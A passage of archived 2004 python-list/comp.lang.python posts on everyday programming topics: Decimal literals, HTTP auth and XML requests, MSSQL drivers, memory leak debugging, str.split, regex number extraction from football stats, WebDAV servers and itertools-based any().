Converting from floating-point numbers poses a bit of a problem:
should the FP number representing 1.1 turn into the decimal number for
exactly 1.1, or for 1.1 plus whatever inaccuracies are introduced? The
decision was to leave such a conversion out of the API. Instead, you
should convert the floating-point number into a string using the
desired precision and pass the string to the Decimal constructor:
"""

PEP327 also does mention it:

http://www.python.org/peps/pep-0327.html#explicit-construction:
"""
So, the accepted solution through c.l.p is that you can not call
Decimal with a float.
"""

So, in order to construct a Decimal, I need to write something like:

>>> a = decimal.Decimal('35.72')
>>> b = decimal.Decimal('1.73')
>>> a+b
Decimal("37.45")

But I could write it this way (just an example; my proposed notation
is for fixed point, not floating point decimal):

>>> a = $35.72
>>> b = $1.73
>>> a+b
$37.45

And it would work. That's nice, clean, and reads quite obviously --
even if using a symbol as part of the syntax.

--
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From strombrg at dcs.nac.uci.edu  Fri Sep  3 16:30:52 2004
From: strombrg at dcs.nac.uci.edu (Dan Stromberg)
Date: Fri, 03 Sep 2004 13:30:52 -0700
Subject: POST with basic auth and cookie from python?
Message-ID: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu>


If I wanted to write a python script that performs basic auth, gets a
cookie, and then does an http POST using the cookie for authentication,
what would be the best python API to write to?

Does someone already have example code that does something like this?

Thanks.



From maxm at mxm.dk  Wed Sep 22 04:42:23 2004
From: maxm at mxm.dk (Max M)
Date: Wed, 22 Sep 2004 10:42:23 +0200
Subject: python vs c#
In-Reply-To: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
Message-ID: <41513aac$0$285$edfadb0f@dread12.news.tele.dk>

Alex Martelli wrote:

> If you must troll, at least troll with some skill, "julio".  Better
> still, as many have already suggested, just go away, thanks.

Well, not to feed the troll, but there is a few relevant points in it's 
posting.

When writing big systems, it is nice to be able to have an enviroment to 
code in. Eg. an IDE.

I am mostly a Zope coder, and while it's a very powerfull system that 
now makes it possible to do a huge amouont of work in a short time, it 
has the famous Z-shaped learning curve.

It is really really hard to learn. This is caused by the system design 
(Which should be solved with Zope3). But I cannot help to think that a 
self-educating system would be of a big help. A system where 
introspection was well supported.

They do it in Z3 by making the programmer make more work, but it could 
probably have been nice if the language was able to do more of the work 
in that regards.

I have a feeling that the typelessness of Python can make this harder. 
Wrappers on top of wrappers on top of som kind unknown data type can be 
really hard to trace.

Eg. if I call a method called getAuthenticatedMember() what does it return?

In plain Zope it returns a user object, but if you have added the CMF to 
the system, it returns a user object that is wrapped with extra 
functionality.

Also the membership tool is wrapped itself several times. In Zope it is 
acl_users, in CMF it's the membership tool and in in Plone it's wrapped 
once more, but still called the membership tool.

Each layer adds functionality. This makes it really hard to find out 
what inteface you actually have available at what level.

An IDE that could make dynamic introspection on a system like that, 
would be of a big help. I think that static typed systems might be 
easier to write an introspective IDE for. This is an issue when the 
system get's a lot bigger than the language.


-- 

hilsen/regards Max M, Denmark

http://www.mxm.dk/
IT's Mad Science


From terti at mighty.co.za  Thu Sep 16 06:50:53 2004
From: terti at mighty.co.za (Tertius)
Date: 16 Sep 2004 03:50:53 -0700
Subject: XML over HTTP
Message-ID: <99033367.0409160250.780235e7@posting.google.com>

Hi,

A client is *not* able to use XML-RPC but *can* send plain XML over HTTP. 
I will parse the XML myself and return appropriate response. 

What do I need to do / use to serve the clients request?  (synchronous) 

Thanks,
Tertius


From no.spam at here.dude  Thu Sep  2 20:06:15 2004
From: no.spam at here.dude (red floyd)
Date: Fri, 03 Sep 2004 00:06:15 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <1094158110.307899@teapot.planet.gong>
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<1094141001.125507@teapot.planet.gong>
	<ch7nnq$sk1$1@baldur.whoi.edu>
	<874qmgifgy.fsf@thalassa.informatimago.com>
	<1094158110.307899@teapot.planet.gong>
Message-ID: <XzOZc.14808$ao.8821@newssvr27.news.prodigy.com>

Rupert Pigott wrote:

> It was specifically the 68000. Fixes were made that took effect in the
> 68010 and 68020. Dunno about 68008. IIRC the problem was that you could
> not restart some instructions properly. Some UNIX workstations did use
> 68Ks, there was an Apollo that had two of them running in lock-step,
> with one of them one instruction behind the other. When the leading CPU
> barfed, action would be taken and the other CPU would take over. Someone
> in comp.arch worked on the Fortune boxes and IIRC he claimed they had a
> more elegant single CPU solution.

68000 - original
68010 - 68000 + SR access is privileged, CCR is unpriviliated + 
instruction restart for VM access
68008 -- 68000 with 8 bit external data bus, possibly restricted address 
bus (can't remember)
68020 -- 68010 + full 32-bit
68030 -- 68020 + MMU


From newsreply at transfertech.de  Thu Sep 30 10:27:23 2004
From: newsreply at transfertech.de (Axel Mittendorf)
Date: Thu, 30 Sep 2004 16:27:23 +0200
Subject: thread execution order
References: <cjh1hd$rek$03$1@news.t-online.com>
	<STT6d.25$Za.8@llslave.llan.ll.mit.edu>
Message-ID: <cjh4nb$opt$05$1@news.t-online.com>

"Rembrandt Q Einstein" wrote:
> I wouldn't do this with threads.  I'd use select() or similar to see if
> the pipe is writable and if it isn't, buffer internally.
I thought about something like this too, but since I'm not allowed to
use some kinda timer to write out the pending data I can't it that way.
Therefor I wondered to use threads.

THX, Axel




From narshe at gmail.com  Thu Sep 30 10:01:37 2004
From: narshe at gmail.com (Josh Close)
Date: Thu, 30 Sep 2004 09:01:37 -0500
Subject: python connection to mssql from windows box
In-Reply-To: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu>
References: <F1921F85572CB04D9F55B14BDC76B3E4434AD1@iron.ima.umn.edu>
Message-ID: <4a0cafe20409300701495192f0@mail.gmail.com>

On Thu, 30 Sep 2004 09:09:05 +0100, Tim Golden
<tim.golden at viacom-outdoor.co.uk> wrote:
> I think you're asking for this:
> 
> http://www.object-craft.com.au/projects/mssql/
> 
> (which, by the way, is the first non-mailing-list result
> Google gives for python mssql)
> 
> TJG

Google? What's that?

I use the Sybase module by object-craft for linux/python connections
to mssql, and I refuse to use the mssql module due to these things
listed on the main mssql page.

There are a few things that do not work - the work still has not been done.

    * Almost no testing has been performed - if you use the module you
will be a pioneer.
    * You cannot send parameters to Cursor.execute() - for the moment
you must format an SQL expression with the parameters inline.
    * On Windows the Cursor.callproc() method does not work. Some guru
will have to figure out what is going wrong (i.e. not me). You can
achieve the same result by simply using Cursor.execute(). For example:

c = db.cursor()
c.execute('sp_help titles')

    * The state machine for the Cursor class is quite hokey. It
returns COMPUTE rows in their own result set. At some stage this will
be cleaned up.
    * The Connection.commit() and Connection.rollback() methods have
not been implemented.


So basically it *kind of* works, but not well. I'm talking about
native windows module that uses the client tools api. Maybe ADO will
be the best thing for me. I've seen some problems with that too
though...... man I hate mssql.

-Josh


From peter at engcorp.com  Thu Sep  9 21:19:41 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 09 Sep 2004 21:19:41 -0400
Subject: attribute assignment effects all class instances
In-Reply-To: <090920041659242407%anon@anon.net>
References: <090920041659242407%anon@anon.net>
Message-ID: <QbOdnckyoJqznNzcRVn-vQ@powergate.ca>

anon wrote:
> I'm aware that you can assign a value to an attribute in all class
> instances by assigning to <Class>.<attribute>, however, my case is
> slightly different and bizarre.

Jeffrey Froman gave you a correct answer already, but I wanted
to point out a problem with the above, which might indicate
another area where you have a misunderstanding.

What you say above is technically wrong, so I hope it was just
a poor choice of wording.  Assigning to Class.attribute as you
describe absolutely does NOT "assign a value to an attribute in
all class instances".  What it actually does is it "assigns a
value to an attribute in the class", and that attribute just
happens to be *visible* to all instances.  They do not actually
have that attribute themselves, however.

I put the "assigns a value" part in quotation marks as well,
because in Python it is more accurate to talk about "binding
names" than assigning values.  Thus you should really say that
you can bind a name in the class and it will be visible to
all instances, but the instances themselves do not have that
name bound...

Hope that helps clarify things, or at least I hope it helps
you in asking subsequent questions. :-)

-Peter


From walter at livinglogic.de  Thu Sep 23 15:27:23 2004
From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Thu, 23 Sep 2004 21:27:23 +0200
Subject: Parsing HTML
In-Reply-To: <q1g5l01ncbcugeq9e7q67q92e6rfq7ag9p@4ax.com>
References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>	<gcd5l09sqefftfsfh2uulon84vtm1qo5fb@4ax.com>
	<q1g5l01ncbcugeq9e7q67q92e6rfq7ag9p@4ax.com>
Message-ID: <4153239B.80708@livinglogic.de>

Richie Hindle wrote:

> [Richie]
> 
>>BeautifulSoup is perfect for this job:
> 
> 
> Um, BeautifulSoup may be perfect, but my script isn't.  It fails with the
> Swedish page because it doesn't cope with "<b></b>" appearing in the HTML.
> And I don't know whether you'd consider it correct to extract only the bold
> text from the entries that have bold text.  But it gives you a place to start.
> 8-)

Another option might be the HTML parser from libxml2 (www.xmlsoft.org):

>>> import libxml2
 >>> doc = libxml2.htmlParseFile("http://www.python.org", None)
http://www.python.org:3: HTML parser error : htmlParseStartTag: invalid 
element name
<?xml-stylesheet href="./css/ht2html.css" type="text/css"?>
  ^
 >>> doc.serialize()
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "ht...

Bye,
    Walter D?rwald




From aleaxit at yahoo.com  Mon Sep  6 17:26:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 23:26:06 +0200
Subject: python memory analysis
References: <mailman.2921.1094475473.5135.python-list@python.org>
Message-ID: <1gjpsl8.7u25cb19847yeN%aleaxit@yahoo.com>

Alexander Hoffmann <alexander.hoffmann at netgenius.de> wrote:

> Hello,
> 
> I wrote a deamon like program in python and after a while I realized that it
> consumes more and more memory over time. So my question is: How to debug
> memory leaks in python ?
> Of course I found the built-in profiler but it only helps to make
> performance analysis. Is there a way (or a tools) to view all the instances
> that are kept im memory by the interpreter ?

It's actually quite a problem, sigh.  gc.get_objects() gives you a list
of all objects tracked by the garbage collector (pretty close to, "all
the objects" period) but that's just the beginning, now you have to find
out what each object IS, why is it around (functions get_referents and
get_referrers can help), and hardest of all how much memory that
particular object IS actually consuming.

How to estimate the latter is a headache.  E.g. consider a list of
integers.  A list with a 1,000,000 items which are all worth 1438397
presumably has a single copy of that particular int shared by all slots
(but that's not certain... you'd need to check for that) so you're
paying for a million slots plus one int (and there is no clear doc as to
how much that means in bytes on a given platform, btw).  If the items
are all different then you're paying for a million slots plus a million
ints (unless some of those ints are actually also used and still needed
elsewhere).

Still I really wish I had a call gc.memory_howmuch(objs) returning a
tuple of two ints X <= Y, telling me that the memory taken up by all the
objs together, the memory I could get back for other purposes if all
references to all of the objs went away, is somewhere between X and Y
bytes -- i.e. if all of the objs went away I'd save at least X bytes but
surely no more than Y.  How small one could make Y-X, how tight the
bounds could be, may be harder to gauge, but it may depend on how much
one wants to invest in digging deep down...


Alex


From peter at engcorp.com  Mon Sep 13 13:09:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Sep 2004 13:09:26 -0400
Subject: Small inconsistency between string.split and "".split
In-Reply-To: <mailman.3241.1095094663.5135.python-list@python.org>
References: <mailman.3241.1095094663.5135.python-list@python.org>
Message-ID: <LJSdnepvP_vbSdjcRVn-hg@powergate.ca>

Carlos Ribeiro wrote:

> While writing a small program to help other poster at c.l.py, I found
> a small inconsistency between the handling of keyword parameters of
> string.split() and the split() method of strings. I wonder if someone
> else had ever stumbled on it before, and if it has a good reason to
> work like it is.
> 
> Both implementations take two parameters: the separator character and
> the max number of splits (maxsplit). However, string.split() accept
> maxsplit as a keyword parameter, while mystring.split() doesn't. In my
> case, it meant that I had to resort to string.split() in my example,
> in order to avoid having to deal with the separator.

Works here:

c:\>python
Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on 
win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> s = 'this is my string'
 >>> s.split()
['this', 'is', 'my', 'string']
 >>> s.split('s')
['thi', ' i', ' my ', 'tring']
 >>> s.split('s', 1)
['thi', ' is my string']
 >>> s.split('s', 2)
['thi', ' i', ' my string']

> ** BTW, I had to avoid dealing with the separator for another annoying
> reason: I thought that I could do something like this:
> 
> mystring.split(string.whitespace, 2)
> 
> to preserve the default whitespace detecting behavior. But it won't
> work this way with neither implementation of split().

I think this works though:

 >>> s.split(None, 2)
['this', 'is', 'my string']
 >>> s.split(None, 1)
['this', 'is my string']

-Peter


From aleaxit at yahoo.com  Sun Sep  5 17:03:26 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 23:03:26 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
	<mailman.2907.1094416926.5135.python-list@python.org>
Message-ID: <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> first time -- it's obvious once you see it, but still, for some
> reason, the list comprehension was more intuitive for me. I don't know
> about the rest of Pythoneers, specially newbies, but understanding
> *why* did I came up with my version may help to illustrate the mental
> model surrounding iterators.

I dunno either, but, FWIW, my wife Anna also had the same issue -- she
thought list comprehensions were always the right way to make lists.

It may have to do with the issue that list comprehension are a neat
GENERAL tool, while calling list, like calling, say, map or filter, may
be concise, clear and efficient but only works in specific cases.  Just
a guess on my part, but it seems a reasonable hypothesis.  Anna, do you
have any opinion in the matter?


Alex


From iddw at hotmail.com  Wed Sep  8 19:36:49 2004
From: iddw at hotmail.com (Dave Hansen)
Date: Wed, 08 Sep 2004 23:36:49 GMT
Subject: Xah Lee's Unixism
References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<vG6_c.16947$aB1.13654@twister.socal.rr.com>
	<bluhj0p6rvrmdrftvrsno9e8vis6mfgvp3@4ax.com>
	<ii8_c.17015$aB1.9921@twister.socal.rr.com>
	<v9rrj09kghqeggkeuo7p48vnrmrtbuodab@4ax.com>
Message-ID: <413f6044.512285562@News.individual.net>

On Tue, 07 Sep 2004 10:29:04 -0700, Alan Balmer <albalmer at att.net>
wrote:

>On Sat, 04 Sep 2004 00:49:18 GMT, gwschenk at fuzz.socal.rr.com (Gary
>Schenk) wrote:
>
[...]
>>Don't you dittoheads ever get your facts right?
>
>
>What's a "dittohead"? Are you trying to convey a personal insult of
>some kind? Please let me know, so I can call you a name, too.

A "dittohead" is someone who regularly listens to and agrees with Rush
Limbaugh (popular conservative U.S. radio talk show host).  It is a
tradition that callers on his show (at least those that agree with
him) start their call with something like "Country redneck dittos to
you, Rush," or "Hey, Rush, blues-pickin' Cajun dittos" before
launching into the subject of their call.  It is intended to be an
insult implying the "dittoheads" don't have any thoughts of their own,
but merely are told what to think (probably by Rush), and do so.  The
"dittoheads" have embraced the moniker but not the implication, seeing
the insult as an act of desperation attacking the person (ad hominem)
rather than addressing the issues.

FWIW, I listen to Rush because he's the most entertaining thing on the
radio during my lunch hour, but I don't agree with him often enough to
be a dittohead.

ObPython: Rush could have been the basis of a great Monty Python skit.

AFWIW, My youngest nephew (5 months old) is named for his father.  My
sister doesn't want him known as "Junior," so she is contemplating the
nickname "Ditto."

ObPerl: There really _is_ more than one way to do it.

ObUnix: Max OS X has a "ditto" command that's the same as "cp" only
different.

ObLisp: I can't think of a thing.  Weclome to afc thread drift...

Regards,

                               -=Dave
-- 
Change is inevitable, progress is not.


From narshe at gmail.com  Mon Sep 27 16:17:59 2004
From: narshe at gmail.com (Josh Close)
Date: Mon, 27 Sep 2004 15:17:59 -0500
Subject: batch pretty (color) print of python code?
In-Reply-To: <cj9rt8$l3k$1@nrc-news.nrc.ca>
References: <cj9rt8$l3k$1@nrc-news.nrc.ca>
Message-ID: <4a0cafe20409271317314ebaea@mail.gmail.com>

On Mon, 27 Sep 2004 16:07:03 -0400, Humpdydum
<oliver.schoenborn at utoronto.ca> wrote:
> Any freeware/open-source that does that? Windows- OR Linux-based is fine. On
> Linux it would be s/t like "pyprint -r *.py > out.ps" where -r indicates
> recursive. Done a search on google and nothing solid comes up. So far I've
> been using Boa's print feature, which means one file at a time, tedious.
> Thanks,
> Oliver

Do you want the text to be colored on the command line? Not exactly
sure what you mean. If so, gentoo has a very nice module for that,
that comes with portage. It's located here

/usr/lib/portage/pym/output.py

All it does is uses \ values for color.

-Josh


From jeff at ccvcorp.com  Thu Sep  2 16:49:16 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 02 Sep 2004 13:49:16 -0700
Subject: multipart/form-data in an HTTP client
In-Reply-To: <mailman.2759.1094116067.5135.python-list@python.org>
References: <mailman.2759.1094116067.5135.python-list@python.org>
Message-ID: <10jf1nos7aelte8@corp.supernews.com>

Ames Andreas (MPA/DF) wrote:

>Hello,
>
>Jeff Shannon wrote:
>
>  
>
>>I, too, was surprised that the existing Python libraries don't
>>directly support multipart/form-data already, and I hope that this
>>gets added in soon.
>>    
>>
>
>I'm not sure what you'd call 'support' and I'm certainly no http guru,
>so my hint my be far away from what you want (sorry if so), but the
>function 'parse_multipart' and the class 'FieldStorage' in cgi.py
>(v2.3) both handle multipart/formdata typed requests.
>  
>

Right, but those handle it from the server side, not the client side.  
(I failed to specify that I was speaking of client-side support, via 
urllib2 or equivalent, having assumed that that would be apparent from 
the post I was replying to.)

Jeff Shannon
Technician/Programmer
Credit International



From Scott.Daniels at Acm.Org  Wed Sep 29 09:55:27 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Wed, 29 Sep 2004 06:55:27 -0700
Subject: Support for ODBC for Oracle through Python on solaris
In-Reply-To: <Ko2dnccQAM7BM8fcRVn-gg@giganews.com>
References: <1880e162.0409290434.6a3279db@posting.google.com>
	<Ko2dnccQAM7BM8fcRVn-gg@giganews.com>
Message-ID: <415ac2e8@nntp0.pdx.net>

Istvan Albert wrote:
> Nagendra wrote:
> 
>> Is there any support in the python to do this or will i have to resort
>> to a c/c++ program becuase python for UNIX doesn't support this.
>> any pointers will be appriciated.
> look here
> http://www.egenix.com/files/python/mxODBC.html
> Istvan.

I concur.  mxODBC represents a lot of heavy lifting to produce a nice
simple result.  It makes SQL through ODBC so simple you can be fooled
into thinking it is a simple thing and not worth the money.

-Scott David Daniels
Scott.Daniels at Acm.Org


From gary.wilson at gmail.com  Sun Sep 26 12:59:59 2004
From: gary.wilson at gmail.com (gary)
Date: 26 Sep 2004 09:59:59 -0700
Subject: regular expression for integer and decimal numbers
References: <f23116.0409231651.7aeb19c0@posting.google.com>
	<pbadnZrDHOinY87cRVn-jg@powergate.ca>
	<f23116.0409251213.6fcee6c5@posting.google.com>
	<cj4tfm$seh$0$216.39.172.122@theriver.com>
Message-ID: <f23116.0409260859.1717e9f2@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<cj4tfm$seh$0$216.39.172.122 at theriver.com>...
> On 25 Sep 2004 13:13:22 -0700, gary.wilson at gmail.com (gary) wrote:
> 
> >Peter Hansen <peter at engcorp.com> wrote in message news:<pbadnZrDHOinY87cRVn-jg at powergate.ca>...
> >> gary wrote:
> >> > I want to pick all intergers and decimal numbers out of a string.
> >> > Would this be the most correct regular expression to use?
> >> > 
> >> > "\d+\.?\d*"
> >> 
> >> Examples, including the most extreme cases you want to handle,
> >> are always a good idea.
> >> 
> >> -Peter
> >
> >Here is an example of what I will be dealing with:
> >"""
> >TOTAL FIRST DOWNS                                     19        21
> >   By Rushing                                         11         6
> >   By Passing                                          6        10
> >   By Penalty                                          2         5
> >THIRD DOWN EFFICIENCY                           4-11-36%  6-14-43%
> >FOURTH DOWN EFFICIENCY                            0-1-0%    0-0-0%
> >TOTAL NET YARDS                                      379       271
> >   Total Offensive Plays (inc. times thrown passing)  58        63
> >   Average gain per offensive play                   6.5       4.3
> >NET YARDS RUSHING                                    264       115
> >"""

> Are you sure you want to throw away all the info implicit in the structure of that data?
> How about the columns? Will you get other input with more columns?

There are several other instances in the files that I am extracting
data from where the numbers are not so nicely arranged in columns, so
I am really looking for something that could be used in all instances.
(http://www.nfl.com/gamecenter/gamebook/NFL_20020929_TEN at OAK)

I do however still need to convert everything from string to numbers. 
I was thinking about using the following for that unless someone has a
better solution:

>>> def StrToNum(str):
...     try: return int(str)
...     except ValueError: 
...         try: return float(str)
...         except ValueError: return str

>>> statlist = ['10', '6', '2002', 'tampa bay buccaneers', 'atlanta
falcons', 'the georgia dome', '1', '03', 'pm', 'est', 'artificial',
'0', '3', '7', '10', '0', '20', '3', '0', '3', '0', '0', '6', '15',
'14', '5', '2', '9', '10', '1', '2', '4', '13', '31', '3', '14', '21',
'1', '1', '100', '0', '1', '0', '327', '243', '59', '64', '5.5',
'3.8', '74', '70', '26', '22', '2.8', '3.2', '2', '3', '2', '3',
'253', '173', '2', '8', '4', '14', '261', '187', '31', '17', '1',
'38', '17', '4', '7.7', '4.1', '5', '3', '0', '3', '2', '2', '5',
'43.2', '5', '45.6', '0', '0', '0', '0', '0', '0', '31.2', '41.6',
'50', '40', '0', '0', '3', '40', '0', '0', '5', '120', '4', '50', '1',
'0', '6', '35', '6', '41', '1', '1', '0', '0', '2', '0', '0', '0',
'1', '0', '1', '0', '2', '2', '0', '0', '2', '2', '0', '0', '2', '2',
'2', '3', '0', '2', '0', '0', '2', '0', '0', '1', '0', '0', '0', '0',
'0', '0', '20', '6', '29', '34', '30', '26', '3', '37', '9', '59',
'9', '35', '6', '23', 0, 0, '11', '23', '5', '01', '5', '25', '8',
'37', 0, 0, '26']
>>> [StrToNum(item) for item in statlist]
[10, 6, 2002, 'tampa bay buccaneers', 'atlanta falcons', 'the georgia
dome', 1, 3, 'pm', 'est', 'artificial', 0, 3, 7, 10, 0, 20, 3, 0, 3,
0, 0, 6, 15, 14, 5, 2, 9, 10, 1, 2, 4, 13, 31, 3, 14, 21, 1, 1, 100,
0, 1, 0, 327, 243, 59, 64, 5.5, 3.7999999999999998, 74, 70, 26, 22,
2.7999999999999998, 3.2000000000000002, 2, 3, 2, 3, 253, 173, 2, 8, 4,
14, 261, 187, 31, 17, 1, 38, 17, 4, 7.7000000000000002,
4.0999999999999996, 5, 3, 0, 3, 2, 2, 5, 43.200000000000003, 5,
45.600000000000001, 0, 0, 0, 0, 0, 0, 31.199999999999999,
41.600000000000001, 50, 40, 0, 0, 3, 40, 0, 0, 5, 120, 4, 50, 1, 0, 6,
35, 6, 41, 1, 1, 0, 0, 2, 0, 0, 0, 1, 0, 1, 0, 2, 2, 0, 0, 2, 2, 0, 0,
2, 2, 2, 3, 0, 2, 0, 0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 20, 6, 29, 34,
30, 26, 3, 37, 9, 59, 9, 35, 6, 23, 0, 0, 11, 23, 5, 1, 5, 25, 8, 37,
0, 0, 26]

Another thing was that I found a negative number which kinds screws up
the regex's previously disscussed.  So I came up with a workaround
below:
>>> str = """
... FGs - PATs Had Blocked                         0-0    0-0
... Net Punting Average                           -6.3   33.3
... TOTAL RETURN YARDAGE (Not Including Kickoffs)   14    257
...    No. and Yards Punt Returns                 1-14  2-157
... """
>>> str = re.sub(r"(\d+)-",r"\1 ",str) #replace number followed by
dash with number followed by space
>>> teamstats = re.findall(r"-?\d+\.?\d*",str) #regex discussed before
but with an optional negative sign in front
>>> teamstats
['0', '0', '0', '0', '-6.3', '33.3', '14', '257', '1', '14', '2',
'157']
>>> [StrToNum(item) for item in teamstats]
[0, 0, 0, 0, -6.2999999999999998, 33.299999999999997, 14, 257, 1, 14,
2, 157]

Gary


From tungwaiyip at yahoo.com  Thu Sep  2 19:51:41 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Thu, 02 Sep 2004 16:51:41 -0700
Subject: read lines without the line break character at the end?
References: <opsdpjkwte433nmu@news.cisco.com>
	<m3y8jsej62.fsf@pc150.maths.bris.ac.uk>
Message-ID: <opsdp4kflz433nmu@news.cisco.com>

Thanks, I like the rstrip() syntax. Coming from Java background. I made  
too many mistakes forgetting to strip the '\n' before using the string.

> "Wai Yip Tung" <tungwaiyip at yahoo.com> writes:
>
>> When I do
>>
>>    for line in fp:
>>
>> the line string usually has a '\n' at the end. In many cases I don't
>> want  the line break character. I can trim it using
>>
>>    if line.endswith('\n'): line = line[:-1]
>>
>> Given I do it so frequently I wonder if there is some builtin way to
>> say I  don't wnt the line break character?
>
> No.  line.rstrip('\n') is a shorter way of trimming the newline
> character, though.
>
> I guess adding
>
> def without_newlines(thing):
>     for line in thing:
>         yield line.rstrip('\n')
>
> to your snippet collection will do.
>
> Cheers,
> mwh
>



From claird at lairds.us  Wed Sep 29 14:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Wed, 29 Sep 2004 18:08:05 GMT
Subject: Social Analysis and Modeling for Python
References: <mailman.4083.1096472628.5135.python-list@python.org>
Message-ID: <9g7r22-0eg.ln1@lairds.us>

In article <mailman.4083.1096472628.5135.python-list at python.org>,
Bishara Gabriel  <bgabriel at cloudthunder.com> wrote:
>I encourage feedback from all parties and especially those which would 
>like to be directly involved (I may include you in the grant proposal 
>and budget).  Send me your comments!
>
>------->
>
>Project Objective
>
>We seek to introduce the advantages of object-oriented programming to
>the realm of social sciences.  We believe the fields thereof (economics,
>history, sociology, political science, etc.), have much to gain from
>OOP?s ability to represent social constructs.  Particularly, we have
>found Python to be well suited to the rapid formulation of social models
>due to its syntactic simplicity, outstanding support for object-oriented
>programming, and comprehensive libraries.  Unfortunately, most academics
>in the aforementioned fields are unaware of the capabilities, let alone
>applicability, of programmatic representation.  Those who do are
>typically put off by the inadequacy and complexity of more traditional
>languages such as C and C++.  We therefore propose to disseminate an
>understanding among these fields of the ability to develop social models
>and represent social constructs via the rapid modeling capabilities of
>the Python language.  We seek to demonstrate how Python presents to them
>limited costs in production time via its language features, and to show
>how social models can be mentally approached in such a way that there
>exists a one-to-one correlation between their theoretical model and the
>Python equivalent.
>
>See the rest of the proposal at:
>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf

I'm a bit sour about this.

Academics are, of course, entirely justified when "put off by ... C
and C++."  I also entirely agree that Python is a great vehicle for
all sorts of research.  Moreover, the language of your charter is 
no more stiff than my own writing sometimes become.  For all these
reasons, your efforts have my sympathy.

It deeply concerns me, though, that you imagine you might "introduce
the advantages of object-oriented programming to the realm of social
sciences."  A quarter of a century ago, Simula enthusiasts were
already demonstrating success at the same mission.  This makes me
wonder if your project might do well to research its foundations 
a few days more--or at least expressing them more judiciously.


From josephwinston at mac.com  Wed Sep  8 09:15:39 2004
From: josephwinston at mac.com (Jody Winston)
Date: Wed, 08 Sep 2004 13:15:39 GMT
Subject: WebDAV Server
Message-ID: <m3n0009a10.fsf@frank.xprtcc.com>

I'd like to present a view of an internal data store, which has Python
interface built using SWIG, so that my users can traverse and
manipulate the data store using familiar tools.  My first thought was
to adapt an existing WebDAV server.  However, I cannot seem to find a
simple way to do this.  davserver-0.5.1 by Christian Scholz doesn't
work with 4Suite 1.0a3 and I couldn't find an implementation for
twisted.  Of course, Zope has a WebDAV server, but I don't know if
using Zope is overkill.

Should I continue down this path and if I do, should I write a WebDAV
server for twisted or bite the bullet and use Zope?


-- 
Jody Winston



From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Thu Sep 23 06:55:53 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Thu, 23 Sep 2004 11:55:53 +0100
Subject: for_some(), for_all()?
In-Reply-To: <2Pt4d.5569$sa.1897@trndny05>
References: <opseqmpvg86yt6e7@news.cisco.com>
	<cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05>
Message-ID: <ciua3q$lru$1@pegasus.csx.cam.ac.uk>

Raymond Hettinger wrote:

> For pure speed, the following is faster and gives short-circuit behavior:
> 
>>>>from itertools import ifilter
>>>>def any(seq, pred=None):
> 
> ...     for elem in ifilter(pred, seq):
> ...         return True
> ...     return False

Nice! I've always found the itertools examples exceptionally useful. Is 
